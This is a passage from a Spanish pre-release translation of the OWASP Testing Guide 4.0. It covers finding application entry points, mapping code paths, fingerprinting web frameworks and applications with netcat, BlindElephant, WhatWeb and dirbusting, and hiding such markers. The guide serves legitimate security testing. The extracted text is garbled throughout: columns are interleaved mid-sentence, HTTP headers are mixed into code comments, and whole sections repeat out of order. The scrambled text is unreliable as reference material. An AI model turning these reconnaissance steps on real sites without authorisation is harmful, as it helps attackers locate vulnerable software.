• Una nota especial cuando se trata de identificar varios parámetros en una cadena dentro de una solicitud POST es que algunos o todos los parámetros serán necesarios para ejecutar los ataques. El evaluador debe identificar todos los parámetros (incluso si están codificados o encriptados) e identificar los que son procesados por la aplicación. Las secciones posteriores de la guía van a identificar cómo medir estos parámetros. En este punto, sólo asegúrese de que cada uno sea identificado. • También preste atención a cualquier encabezado adicional o personalizado que no sea común (como debug = False).
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 56
Guia de pruebas 4.0 "Borrador"
Respuestas:
EJEMPLO 2 En este ejemplo se muestra una solicitud POST que debería conectarle a una aplicación.
• Identifique dónde se establecen nuevas cookies (encabezado Set-Cookie), modifican o añaden. • Identifique dónde hay redireccionamientos (estado de código 3xx HTTP) códigos de estado 400, en especial 403 Prohibido (Forbiden) y 500 errores de servidor interno (internal server errors) durante las respuestas normales (es decir, sin modificar solicitudes). • También note dónde se utiliza cualquier encabezado interesante. Por ejemplo, "Server: BIG-IP" indica que el sitio tiene su carga equilibrada. Aunque si un sitio tiene su carga equilibrada y un servidor está configurado incorrectamente, entonces el evaluador podría tener que hacer varias solicitudes para acceder al servidor vulnerable, dependiendo del tipo de equilibrio de carga usado.
POST https://x.x.x.x/KevinNotSoGoodApp/authenticate.asp?service=login Host: x.x.x.x Cookie: SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRzIH ByZWRpY3RhYmxlIGNvb2tpZXMgYW5kIG1pbmUgaXMgMTIz NA== CustomCookie=00my00trusted00ip00is00x.x.x.x00 Cuerpo del mensaje POST:
Pruebas de Caja Negra Probando en busca de puntos de entrada a la aplicación
user=admin&pass=pass123&debug=true&fromtrustIP=true
Los siguientes son dos ejemplos de cómo buscar puntos de entrada a la aplicación.
Result Expected: EJEMPLO 1 Este ejemplo muestra una solicitud GET que debería adquirir un elemento de una aplicación de compras en línea.
GET https://x.x.x.x/shoppingApp/buyme.asp?CUSTOMERID=100&ITEM= z101a&PRICE=62.50&IP=x.x.x.x Host: x.x.x.x Cookie: SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJuYW1lIGlzIG ZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy
En este ejemplo el evaluador debe anotar todos los parámetros como lo hizo antes, pero observe que los parámetros se pasan en el cuerpo del mensaje y no en la URL. Además, tenga en cuenta que hay una cookie personalizada que está siendo utilizada.
Pruebas de Caja Gris Probar en busca de puntos de entrada de la aplicación a través de una metodología de Caja Gris consistiría en todo lo ya identificado anteriormente con una adición. En los casos donde hay fuentes externas de las que la aplicación recibe datos y los procesa (tales como trampas SNMP, mensajes syslog, mensajes SMTP o SOAP de otros servidores) una reunión con los desarrolladores de la aplicación podría identificar las funciones que aceptan o esperan el ingreso de datos del usuario y cómo están formateados. Por ejemplo, el desarrollador podría ayudar a entender cómo formular una petición SOAP correcta que aceptaría la aplicación y dónde reside el servicio web (si el servicio web o cualquier otra función no ha sido identificada durante las pruebas de Caja Negra).
Result Expected: Aquí el evaluador debe anotar todos los parámetros de la petición tales como CUSTOMERID, ITEM, PRICE, IP y las cookies (que podrían ser sólo parámetros codificados o utilizadas para el estado de sesión).
Herramientas Proxy de intercepción:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 57
Guia de pruebas 4.0 "Borrador"
• OWASP: Zed Attack Proxy (ZAP)
Hay varias maneras de acercarse a las pruebas y a la medición de la cobertura del código:
• OWASP: WebScarab • Burp Suite • CAT
Accesorios de motores de búsqueda: • TamperIE for Internet Explorer • Tamper Data for Firefox
• Ruta - Pruebe cada uno de los caminos a través de una aplicación que incluye combinatoria y análisis de valores límite para cada ruta de decisión. Aunque este enfoque ofrece rigor, la cantidad de rutas comprobables crece exponencialmente con cada rama de decisión. • Flujo de Datos (o análisis de la mancha) - prueba la asignación de variables a través de la interacción externa (normalmente los usuarios). Se centra en crear mapas del flujo, transformación y uso de datos a través de una aplicación. • Carrera - prueba varias instancias simultáneas de la aplicación manipulando los mismos datos.
Referencias Libros Blancos
• RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1 -
El acuerdo en cuanto a qué método se utiliza y en qué medida se utiliza cada método debe ser negociado con el dueño de la aplicación. Enfoques más simples podrían también adoptarse, incluyendo el preguntarle al dueño de la aplicación las funciones o secciones del código por las que están particularmente preocupados y cómo llegar a esos segmentos de código.
tools.ietf.org Pruebas de Caja Negra
Cree mapas de las rutas de ejecución a través de la aplicación (OTG-INFO-007) Resumen
Para demostrar la cobertura del código al dueño de la aplicación, el evaluador puede iniciar con una hoja de cálculo y documentar todos los enlaces descubiertos usando robots araña en la aplicación (manual o automáticamente). Entonces el evaluador puede mirar más de cerca los puntos de decisión en la aplicación e investigar cuántas rutas de código importantes se descubren. Estas deberían entonces documentarse en la hoja de cálculo con URL, prosa y captura de pantalla de las descripciones de las rutas descubiertas.
Antes de comenzar las pruebas de seguridad, es de suma importancia entender la estructura de la aplicación. Sin una comprensión profunda de la distribución de la aplicación, es poco probable que sea probada exhaustivamente. Pruebas de Caja Gris/Blanca
Objetivos de la prueba Crear mapas de la aplicación de destino y comprender los principales flujos de trabajo.
Asegurar suficiente cobertura de código para el dueño de la aplicación es mucho más fácil con el enfoque de Caja Gris y Blanca para las pruebas. La información solicitada y proporcionada al evaluador asegurará que se cumplan los requisitos mínimos de cobertura de código.
Ejemplo Cómo probar Spidering automático En las pruebas de Caja Negra es extremadamente difícil probar todo el código base. No sólo porque el evaluador no tiene ninguna vista de las rutas de código a través de la aplicación, e incluso si lo hicieran, probar todas las rutas del código tomaría mucho tiempo. Una manera de reconciliar esto es documentar qué rutas del código fueron descubiertas y probadas.
Los robots araña automáticos son una herramienta utilizada para descubrir automáticamente nuevos recursos (URL) en un sitio web en
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 58
Guia de pruebas 4.0 "Borrador"
particular. Comienza con una lista de URL a visitar, llamadas semillas, que dependen de cómo se inicia el robot araña. Si bien hay un montón de herramientas de Spidering, en el ejemplo siguiente se utiliza el Zed Attack Proxy (ZAP):
[1] en.wikipedia.org
Framework referencial para el uso de huellas digitales en aplicaciones web (OTG-INFO008) Resumen El framework web[*] marcar con huellas digitales es una subtarea importante del proceso de recolección de información. Conocer el tipo de framework puede automáticamente dar una gran ventaja si este framework ya ha sido probado mediante pruebas de penetración. No son sólo las vulnerabilidades conocidas en versiones sin parches, sino configuraciones erróneas específicas en el framework y la estructura de archivo conocido que hace tan importante el proceso de marcar con huellas digitales.
ZAP ofrece las siguientes carácterísticas de spidering automático, que pueden ser seleccionadas a partir de las necesidades del evaluador:
• Sitio de Robot Araña - la lista de semillas contiene todas las URL existentes ya encontradas en el sitio seleccionado.
Se utilizan varios proveedores diferentes y versiones de los frameworks web. La información al respecto de estos ayuda significativamente en el proceso de pruebas y también puede ayudar a cambiar el curso de la
prueba. Dicha información puede ser derivada de un cuidadoso análisis
• Subárbol de Robot araña - la lista de semillas contiene todas las URL existentes ya encontradas y presentes en el subárbol del nodo seleccionado. • URL de robot Araña - la lista de semillas contiene sólo la URL correspondiente al nodo seleccionado (en el árbol de sitio). • Vista completa de Robot Araña - la lista de semillas contiene todas las URL que el usuario ha seleccionado como 'A la vista'.
Herramientas • Zed Attack Proxy (ZAP) • Spreadsheet software
de ciertos lugares comunes. La mayoría de los frameworks web tienen varios marcadores en esos lugares, lo que ayuda a un atacante a detectarlos. Esto es básicamente lo que todas las herramientas automáticas hacen: buscar un marcador desde una ubicación predefinida y luego compararlo con la base de datos de firmas conocidas. Para mayor precisión se utilizan, generalmente, varios marcadores.
[*] Tenga en cuenta que este artículo no hace ninguna diferenciación entre Frameworks de aplicación Web (WAF) y sistemas de gestión de contenidos (CMS). Esto se ha hecho para que sea conveniente marcar con huellas digitales ambos casos en un solo capítulo. Además, se hace referencia a ambas categorías como frameworks web.
• Diagramming software Objetivos de la prueba Referencias Libros Blancos
El tipo de framework web usado, asi como tener una mejor comprensión de la metodología de pruebas de seguridad.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 59
Guia de pruebas 4.0 "Borrador"
sitio web pueda ofuscar los encabezados HTTP (ver un ejemplo en el capítulo #Remediación). Cómo probar Pruebas de Caja Negra Hay varios lugares muy comunes para buscar definir el framework actual:
Así, en el mismo ejemplo, el evaluador podría perder el encabezado XPowered-By u obtener una respuesta similar a la siguiente:
• Encabezados HTTP • Cookies HTTP/1.1 200 OK • Códigos fuente HTML
Server: nginx/1.0.14 • Carpetas y documentos específicos Date: Sat, 07 Sep 2013 08:19:15 GMT Content-Type: text/html;charset=ISO-8859-1 Encabezados HTTP Connection: close La forma básica de identificación de un framework web es mirar el campo XPowered-By en el encabezado de respuesta HTTP. Muchas herramientas pueden utilizarse para marcar una huella digital. La más simple es la utilidad netcat.
Considere la siguiente solicitud-respuesta HTTP:
$ nc 127.0.0.1 80 HEAD / HTTP/1.0
Vary: Accept-Encoding X-Powered-By: Blood, sweat and tears
A veces hay más encabezados HTTP que apuntan a un cierto framework web. En el ejemplo siguiente, según la información de la solicitud HTTP, se puede ver que en X-Powered-By el encabezado contiene la versión de PHP. Sin embargo, el encabezado X-Generator señala que el framework utilizado realmente es Swiftlet, lo que ayuda a un evaluador de penetración a ampliar sus vectores de ataque. Al realizar el marcaje de huellas digitales, inspeccione siempre con cuidado cada encabezado HTTP en busca de tales fugas.
HTTP/1.1 200 OK Server: nginx/1.0.14 Date: Sat, 07 Sep 2013 08:19:15 GMT Content-Type: text/html;charset=ISO-8859-1 Connection: close Vary: Accept-Encoding
Del campo X-Powered-By, entendemos que el framework de la aplicación web es muy posiblemente Mono. Sin embargo, aunque este enfoque es simple y rápido, esta metodología no funciona en el 100% de los casos. Es posible deshabilitar fácilmente el encabezado X-Powered-By mediante una configuración adecuada. También hay varias técnicas que permiten que un
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 60
Guia de pruebas 4.0 "Borrador"
framework CakePHP seleccionado, esto se podría hacer con la siguiente configuración (Extracto de core.php):
HTTP/1.1 200 OK Server: nginx/1.4.1 Date: Sat, 07 Sep 2013 09:22:52 GMT
/**
Content-Type: text/html * The name of CakePHP’s session cookie. Connection: keep-alive * Vary: Accept-Encoding
* Note the guidelines for Session names states: “The session name references
X-Powered-By: PHP/5.4.16-1~dotdeb.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
* the session id in cookies and URLs. It should contain only alphanumeric * characters.” * @link http://php.net/session_name
Pragma: no-cache */
Cookies Otra manera similar pero más confiable de determinar el framework web actual es determinar el framework de cookies específicas.
Sin embargo, estos cambios son menos comunes que cambiar el encabezado X-Powered-By, por lo que este enfoque puede ser considerado como más confiable.
Considere la siguiente solicitud HTTP:
GET /cake HTTP /1.1
Código fuente HTML
Host: defcon-moscow.org
Esta técnica se basa en la búsqueda de ciertos patrones en el código fuente de la página HTML. A menudo se puede encontrar una gran cantidad de información que ayuda a un evaluador a reconocer un framework específico de la web. Uno de los marcadores comunes son comentarios HTML que conducen directamente a la divulgación del framework. Más a menudo, ciertas rutas específicas del framework pueden encontrarse, es decir, frameworks css y/o carpetas js específicos. Finalmente, las variables de secuencia de comandos (script) específicas podrían también apuntar a un cierto framework.
User-Agent: Mozilla75.0 |Macintosh; 22. 0) Gecko/20100101 Firefox/22 . 0
Intel Mac OS X 10.7; rv:
Accept: text/html, application/xhtml + xml, application/xml; q=0.9, */*; q=0 , 8 Accept - Language: ru-ru, ru; q=0.8, en-us; q=0.5 , en; q=0 . 3 Accept - Encoding: gzip, deflate
DNT: 1 Cookie: CAKEPHP=rm72kprivgmau5fmjdesbuqi71; Connection: Keep-alive
De la siguiente captura de pantalla uno puede aprender fácilmente el framework y su versión de los marcadores mencionados. El comentario, rutas específicas y variables del script pueden ayudar a un atacante a determinar rápidamente una instancia del framework ZK.
La cookie CAKEPHP ha sido establecida automáticamente, lo que da información sobre el framework que se utiliza. Una lista de nombres comunes de cookies se presenta en el capítulo #Cookies_2. Las limitaciones son las mismas - es posible cambiar el nombre de la cookie. Por ejemplo, para el
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 61
Guia de pruebas 4.0 "Borrador"
Con mayor frecuencia, dicha información se coloca entre etiquetas <head></head> en etiquetas <meta> o al final de la página.
Actualmente, es una de las mejores herramientas de huellas digitales en el mercado. Incluidas por defecto en construcciones Kali Linux. Idioma: Ruby Matches para toma de huellas digitales se hacen con: • Cadenas de texto (mayúsculas y minúsculas)
Sin embargo, se recomienda revisar todo el documento ya que puede ser útil para otros propósitos tales como inspección de otros comentarios útiles y campos ocultos. A veces, los desarrolladores web no se preocupan mucho por ocultar información sobre el framework utilizado. Es posible toparse con algo como esto en la parte inferior de la página:
• Expresiones regulares • Consultas de base de datos de Google Hack (conjunto limitado de palabras clave) • MD5 hashes • reconocimiento de URL • etiquetas de patrones HTML • Códigos ruby personalizados para operaciones pasivas y agresivas
Una respuesta de muestra se presenta en la siguiente captura de pantalla:
Archivos y carpetas específicos Los archivos y carpetas específicos son diferentes en cada framework específico. Se recomienda instalar el correspondiente framework durante las pruebas de penetración para tener mejor entendimiento de qué infraestructura se presenta y qué archivos pueden quedar en el servidor. Sin embargo, ya existen varias listas de archivo buenas y un buen ejemplo es FuzzDB listas de archivos y carpetas predecibles (code.google.com).
BlindElephant Página Web: community.qualys.com Esta magnífica herramienta funciona mediante el principio de checksum (suma de comprobación) de archivos estáticos basados en la diferencia de la versión que proporciona así una alta calidad de huellas digitales. Idioma:Python
Herramientas
Muestra de respuesta de una huella digital exitosa: Una lista de herramientas generales y muy conocidas se presenta a continuación. También hay un sinfín de otras utilidades, así como herramientas de huellas digitales basadas en frameworks.
WhatWeb: Sitio Web: morningstarsecurity.com
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 62
Guia de pruebas 4.0 "Borrador"
pentester$ python BlindElephant.py http://my_target drupal
Wapplyzer es un accesorio de Firefox Chrome. Sólo funciona en coincidencias de expresiones regulares y no necesita otra cosa que
Loaded /Library/Python/2.7/sitepackages/blindelephant/dbs/drupal.pkl with 145 versions, 478 differentiating paths, and 434 version groups. Starting BlindElephant fingerprint for version of drupal at http://my_target
cargar la página en el navegador. Funciona totalmente a nivel de navegador y da resultados en forma de iconos. Aunque a veces tiene falsos positivos, esto es muy útil para tener una noción de qué tecnologías fueron utilizadas para construir el sitio web de destino inmediatamente después de navegar por una página.
Hit http://my_target/CHANGELOG.txt File produced no match. Error: Retrieved file doesn’t match known fingerprint. 527b085a3717bd691d47713dff74acf4
Una muestra de la respuesta de un accesorio se presenta en la siguiente captura de pantalla.
Hit http://my_target/INSTALL.txt File produced no match. Error: Retrieved file doesn’t match known fingerprint. 14dfc133e4101be6f0ef5c64566da4a4
Hit http://my_target/misc/drupal.js Possible versions based on result: 7.12, 7.13, 7.14
Hit http://my_target/MAINTAINERS.txt File produced no match. Error: Retrieved file doesn’t match known fingerprint. 36b740941a19912f3fdbfcca7caa08ca Referencias Hit http://my_target/themes/garland/style.css
Libros Blancos
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, 7.10, 7.11, 7.12, 7.13, 7.14
• Saumil Shah: “An Introduction to HTTP fingerprinting” -
...
net-square.com • Anant Shrivastava : “Web Application Finger Printing” -
Fingerprinting resulted in:
anantshri.info
Remediación Wappalyzer Página Web: http://wappalyzer.com
El consejo general es usar varias de las herramientas descritas anteriormente y verificar los registros para entender exactamente lo que ayuda a un atacante a revelar el framework de la web. Mediante la realización de múltiples análisis después de que se han hecho cambios para ocultar las rutas del framework, es posible alcanzar un mejor nivel de seguridad y asegurarse de que el framework no puede ser detectado por análisis automático. A continuación se presentan algunas recomendaciones específicas, de acuerdo a la ubicación del marcador del framework y algunos enfoques adicionales interesantes.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 63
Guia de pruebas 4.0 "Borrador"
Encabezados HTTP Compruebe la configuración y desactive u ofusque todos los encabezados HTTP que divulgan información de las tecnologías utilizadas. Aquí hay un artículo interesante sobre ofuscación de encabezados HTTP con Netscaler: http://grahamhosking.blogspot.ru/2013/07/obfuscating-http-header-usingnetscaler.html
• Restrinja el acceso a otros archivos para lograr respuestas 404 al acceder a ellos desde fuera. Esto puede hacerse, por ejemplo, modificando el archivo htaccess y agregando RewriteCond o RewriteRule allí. A continuación se presenta un ejemplo de tal restricción para dos carpetas comunes de WordPress.
RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR] RewriteCond %{REQUEST_URI} /wp-admin/$ RewriteRule $ /http://your_website [R=404,L]
Cookies Se recomienda reemplazar los nombres de las cookies al hacer cambios en los archivos de configuración correspondientes.
Sin embargo, estas no son las únicas maneras de restringir el acceso. Con el fin de automatizar este proceso, existen ciertos accesorios (plugins) específicos del framework. Un ejemplo para WordPress es StealthLogin: wordpress.org.
Código fuente HTML Compruebe manualmente el contenido del código HTML y elimine todo lo que explícitamente dirige al framework.
Enfoques adicionales Guías generales:
Guías generales: [1] gestión de checksum • Asegúrese de que no hay marcadores visuales que revelen el framework. • uite todos los comentarios innecesarios (derechos de autor, información de errores, comentarios específicos del framework).
El propósito de este enfoque es vencer los escaneos basados en checksum (la suma de comprobación) y no permitirles revelar archivos por sus hashes. En general, existen dos enfoques en la gestión de checksum:
• Retire etiquetas de generación y META. • Cambiar la ubicación donde se colocan los archivos (es decir, moverlos a otra carpeta, o cambiar el nombre de la carpeta existente).. • Utilice los archivos css o js propios de la empresa y no los almacene
• Modificar el contenido - incluso una ligera modificación resulta en una suma de hash completamente diferente, así que añadir un solo byte en el final del archivo no debe ser un gran problema.
en carpetas de frameworks específicos. • No utilice secuencias de comandos predeterminados en la página ni los ofusque si deben utilizarse.
Archivos y carpetas especificas
[2] Caos controlado Un método divertido y eficaz que implica agregar archivos y carpetas falsos desde otros frameworks para engañar a los escáneres y confundir a un atacante. Pero, ¡tenga cuidado de no sobreescribir las carpetas y archivos existentes o romper el framework actual!
Guias generales:
• Elimine del servidor todos los archivos innecesarios o sin uso. Esto implica archivos de texto que revelen información sobre las versiones y la instalación también.
Aplicación de huellas digitales para web (OTG-INFO-009)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 64
Guia de pruebas 4.0 "Borrador"
Resumen GET / HTTP/1.1 No hay nada nuevo bajo el sol, y casi cada aplicación web que se puede pensar en desarrollar ya ha sido desarrollada. Con la gran cantidad de proyectos de software libre y de código abierto que son desarrollados y desplegados activamente alrededor del mundo, es muy probable que una prueba de seguridad enfrentará un sitio objetivo que es total o parcialmente dependiente de una de estas aplicaciones muy conocidas (por ejemplo, Wordpress, phpBB, Mediawiki, etc.). Conocer los componentes de las aplicaciones web que se están probando ayuda significativamente en el proceso de prueba y se reduce drásticamente el esfuerzo requerido durante la prueba. Estas aplicaciones web conocidas tienen encabezados HTML, cookies y estructuras de directorios que se pueden enumerar para identificar la aplicación.
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 ‘’’Cookie: wp-settings-time-1=1406093286; 2=1405988284’’’
wp-settings-time-
DNT: 1 Connection: keep-alive
Objetivos de la prueba
Host: blog.owasp.org
Identificar la aplicación web y la versión para determinar vulnerabilidades conocidas y la formas de explotarlas apropiadamente para usar durante la prueba.
Cómo probar
La cookie de CAKEPHP se ha establecido automáticamente, lo que da información sobre el framework que se utiliza. Una lista de nombres comunes de las cookies se presenta en la sección de Identificadores de Aplicación Común. Sin embargo, es posible cambiar el nombre de la cookie.
Cookies Una manera relativamente confiable de identificar una aplicación web es mediante la aplicación de cookies específicas.
Código fuente HTML
Considere la siguiente solicitud HTTP:
Esta técnica se basa en la búsqueda de ciertos patrones en el código fuente de la página HTML. A menudo se puede encontrar una gran cantidad de información que ayuda a un evaluador a reconocer una aplicación web específica. Uno de los marcadores comunes son los comentarios HTML que conducen directamente a la divulgación de la aplicación. Más a menudo, ciertas rutas específicas de la aplicación pueden encontrarse; es decir,
enlaces a aplicaciones css y carpetas js específicas. Finalmente, las variables de script específico también pueden apuntar a una aplicación determinada.
De la metaetiqueta siguiente, uno puede aprender fácilmente la aplicación que utiliza un sitio web y su versión. El comentario, rutas específicas y variables de script pueden ayudar a un atacante para determinar rápidamente una instancia de una aplicación. <meta name="”generator”" content="”WordPress" 3.9.2”="">
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 65
Guia de pruebas 4.0 "Borrador"
Con mayor frecuencia, dicha información se coloca entre etiquetas <head></head>, en etiquras <meta> o al final de la página. Sin embargo, se recomienda revisar todo el documento ya que puede ser útil para otros propósitos tales como inspección de otros comentarios útiles y campos ocultos.
Archivos y carpetas específicos Aparte de la información reunida de fuentes HTML, existe otro enfoque que ayuda enormemente a un atacante a determinar la aplicación con una alta precisión. Cada aplicación tiene su propia estructura específica de archivos y carpetas en el servidor. Se ha señalado que se puede ver la ruta de acceso específica desde la fuente de la página HTML, pero a veces no se presentan explícitamente allí y todavía residen en el servidor.
Con el fin de descubrirlos se utiliza una técnica conocida como dirbusting. Dirbusting es forzar un objetivo con nombres de carpetas y archivos predecibles y monitorear las respuestas HTTP para enumerar el contenido del servidor. Esta información puede utilizarse tanto para buscar archivos por defecto y atacarlos, como para dejar huellas digitales en la aplicación web. Dirbusting se puede hacer de varias maneras; el ejemplo siguiente muestra un ataque exitoso mediante dirbusting contra un objetivo impulsado por WordPress con la ayuda de la lista definida y la funcionalidad de intruso de Burp Suite.
Consejo: antes de iniciar el dirbusting, se recomienda revisar primero el archivo robots.txt. A veces se pueden encontrar allí también las carpetas específicas de la aplicación y otra información sensible. Abajo se presenta un ejemplo de un archivo robots.txt de este tipo en una captura de pantalla.
Las carpetas y archivos específicos son diferentes para cada aplicación. Se recomienda instalar la aplicación correspondiente durante las pruebas de penetración para tener un mejor entendimiento de qué infraestructura se utiliza y qué archivos pueden quedar en el servidor. Sin embargo, ya existen varias listas buenas de archivos y un buen ejemplo es la lista de archivos FuzzDB de documentos y carpetas predecibles (http://code.google.com/p/fuzzdb/).
Podemos ver que para algunas carpetas de WordPress-específicas (por ejemplo, WP-includes, /wp-admin / y wp-content/) las respuestas HTTP son 403 (prohibido), 302 (encontrado, redirección a wp-login.php) y 200 (OK), respectivamente. Este es un buen indicador de que el objetivo es alimentado por WordPress. Es posible usar dirbust en diferentes carpetas de aplicaciones plugin y sus versiones. En la imagen siguiente puede ver un archivo CHANGELOG, típico de un plugin Drupal, que proporciona información sobre la aplicación que está siendo usada y revela una versión del plugin vulnerable.
Identificadores de aplicación común Cookies
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 66
Guia de pruebas 4.0 "Borrador"
Actualmente, una de las mejores herramientas de huellas digitales en el mercado. Incluidas por defecto en construcciones Kali Linux. Idioma: Ruby Matches para toma de huellas digitales se hacen con: • Cadenas de texto (mayúsculas y minúsculas) • Expresiones regulares • Consultas de base de datos de Google Hack (conjunto limitado de palabras clave)
• MD5 hashes • Reconocimiento de URL • Etiquetas de patrones HTML • Códigos ruby personalizados para operaciones pasivas y agresivas Una respuesta de muestra se presenta en la siguiente captura de pantalla:
Código fuente HTML
BlindElephant Página web: community.qualys.com
Más información: www.owasp.org
Esta magnífica herramienta funciona mediante el principio de checksum (suma de comprobación) de archivos estáticos basados en la diferencia de la versión, proporcionando así una alta calidad de huellas digitales. Idioma:Python
Herramientas
Muestra de respuesta de una huella digital exitosa:
A continuación se presenta una lista general de herramientas conocidas. También hay una gran cantidad de otras utilidades, así como herramientas de huellas digitales basadas en frameworks.
WhatWeb: Sitio web: morningstarsecurity.com
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 67
Guia de pruebas 4.0 "Borrador"
utilizadas para construir el sitio web de destino inmediatamente después de navegar por una página.
pentester$ python BlindElephant.py http://my_target drupal Loaded /Library/Python/2.7/site-packages/blindelephant/dbs/drupal.pkl with 145 versions, 478 differentiating paths, and 434 version groups. Starting BlindElephant http://my_target
fingerprint
for
version
of
drupal
at Una muestra de la respuesta del plugin se presenta en la siguiente captura de pantalla:
Hit http://my_target/CHANGELOG.txt File produced no match. Error: Retrieved file doesn’t match known fingerprint. 527b085a3717bd691d47713dff74acf4
Hit http://my_target/INSTALL.txt File produced no match. Error: Retrieved file doesn’t match known fingerprint. 14dfc133e4101be6f0ef5c64566da4a4
Hit http://my_target/misc/drupal.js Possible versions based on result: 7.12, 7.13, 7.14
Hit http://my_target/MAINTAINERS.txt
Referencias
File produced no match. Error: Retrieved file doesn’t match known fingerprint. 36b740941a19912f3fdbfcca7caa08ca
Libros Blancos
Hit http://my_target/themes/garland/style.css Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, 7.10, 7.11, 7.12, 7.13, 7.14
• Saumil Shah: “An Introduction to HTTP fingerprinting” - net-square.com
• Anant Shrivastava : “Web Application Finger Printing” - anantshri.info
... Remediación Fingerprinting resulted in: Wappalyzer Página web: http://wappalyzer.com Wapplyzer es un plugin de Firefox Chrome. Sólo funciona en coincidencias de expresiones regulares y no necesita otra cosa que cargar la página en el navegador. Funciona totalmente a nivel de
navegador y da resultados en forma de iconos. Aunque a veces tiene falsos positivos, esto es muy útil para tener una noción de qué tecnologías fueron
El consejo general es usar varias de las herramientas descritas anteriormente y verificar los registros para entender exactamente lo que ayuda a un atacante a revelar el framework web. Mediante la realización de múltiples análisis después de que se han hecho cambios para ocultar las rutas del framework, es posible alcanzar un mejor nivel de seguridad y asegurarse de que el framework no puede ser detectado por análisis automáticos. A continuación se presentan algunas recomendaciones específicas, de acuerdo a la ubicación del marcador del framework y algunos enfoques adicionales interesantes.
Encabezados HTTP
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 68
Guia de pruebas 4.0 "Borrador"
Compruebe la configuración y desactive u ofusque todos los encabezados HTTP que divulgan información de las tecnologías utilizadas. Aquí hay un artículo interesante sobre ofuscación de encabezados HTTP con Netscaler: grahamhosking.blogspot.ru
Cookies Se recomienda cambiar los nombres de las cookies al hacer cambios en los archivos de configuración correspondientes.
• Restrinja el acceso a otros archivos para lograr respuestas 404 al acceder a ellos desde fuera. Esto puede hacerse, por ejemplo, modificando el archivo htaccess y agregando RewriteCond o RewriteRule allí. A continuación se presenta un ejemplo de tal restricción para dos carpetas comunes de WordPress.
RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR] RewriteCond %{REQUEST_URI} /wp-admin/$ RewriteRule $ /http://your_website [R=404,L]
Sin embargo, estas no son las únicas maneras de restringir el acceso. Con el fin de automatizar este proceso, existen ciertos accesorios (plugins) específicos del framework. Un ejemplo para WordPress es StealthLogin: Código fuente HTML wordpress.org. Compruebe manualmente el contenido del código HTML y elimine todo lo que explícitamente señala el framework. Enfoques adicionales Guías generales:
Guías generales: [1] gestión de checksum
• Asegúrese de que no hay marcadores visuales que revelen el framework. • uite todos los comentarios innecesarios (derechos de autor, información de errores, comentarios específicos del framework).
El propósito de este enfoque es vencer a los escaneos basados en checksum (la suma de comprobación) y no permitirles revelar archivos por sus hashes. En general, existen dos enfoques en la gestión de checksum:
• Retire etiquetas de generación y META. • Utilice los archivos css o js propios de la empresa y no los almacene
• Cambiar la ubicación donde se colocan los archivos (es decir, moverlos a otra carpeta, o cambiar el nombre de la carpeta existente) • Modificar el contenido - incluso una ligera modificación resulta en una suma de hash completamente diferente, así que añadir un solo byte en el final del archivo no deben ser un gran problema.
en carpetas de frameworks específicos. • No utilice secuencias de comandos predeterminados en la página ni los ofusque si deben utilizarse.
[2] Caos controlado Un método divertido y eficaz que implica agregar archivos y carpetas falsos
a los escáneres y confundir a un atacante. ¡Pero tenga cuidado de no sobreescribir las carpetas y archivos existentes o romper el framework actual!. desde otros frameworks para engañar
Archivos y carpetas especificas Guias generales:
• Elimine del servidor todos los archivos innecesarios o sin uso. Esto implica archivos de texto que revelen información sobre las versiones y la instalación también.
Cree un mapa de la arquitectura de la aplicación (OTG-INFO-010) Resumen
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 69
Guia de pruebas 4.0 "Borrador"
La complejidad de la infraestructura de servidores web interconectados y heterogéneos puede incluir cientos de aplicaciones web y hace de la gestión de configuración y de la revisión un paso fundamental en la prueba e implementación de cada aplicación. De hecho, se necesita sólo una vulnerabilidad para socavar la seguridad de toda la infraestructura, e incluso problemas pequeños y sin importancia aparente pueden convertirse en serios riesgos para otra aplicación en el mismo servidor.
Para abordar estos problemas, es de suma importancia llevar a cabo
una profunda revisión de la configuración y problemas de seguridad conocidos. Antes de realizar un examen a fondo es necesario crear un mapa de la red y de la arquitectura de la aplicación. Los diferentes elementos que conforman la infraestructura necesitan ser determinados para entender cómo interactúan con una aplicación web y cómo ellos afectan a la seguridad.
Cómo probar Cree un mapa de la arquitectura de la aplicación Se debe crear el mapa de la arquitectura de la aplicación mediante algunas pruebas para determinar qué componentes se usan para construir la aplicación web. En instalaciones pequeñas, una sencilla aplicación basada en CGI podría utilizar un solo servidor para que corra el servidor web que ejecuta la aplicación C, Perl o Shell CGIs y quizás también el mecanismo de autenticación.
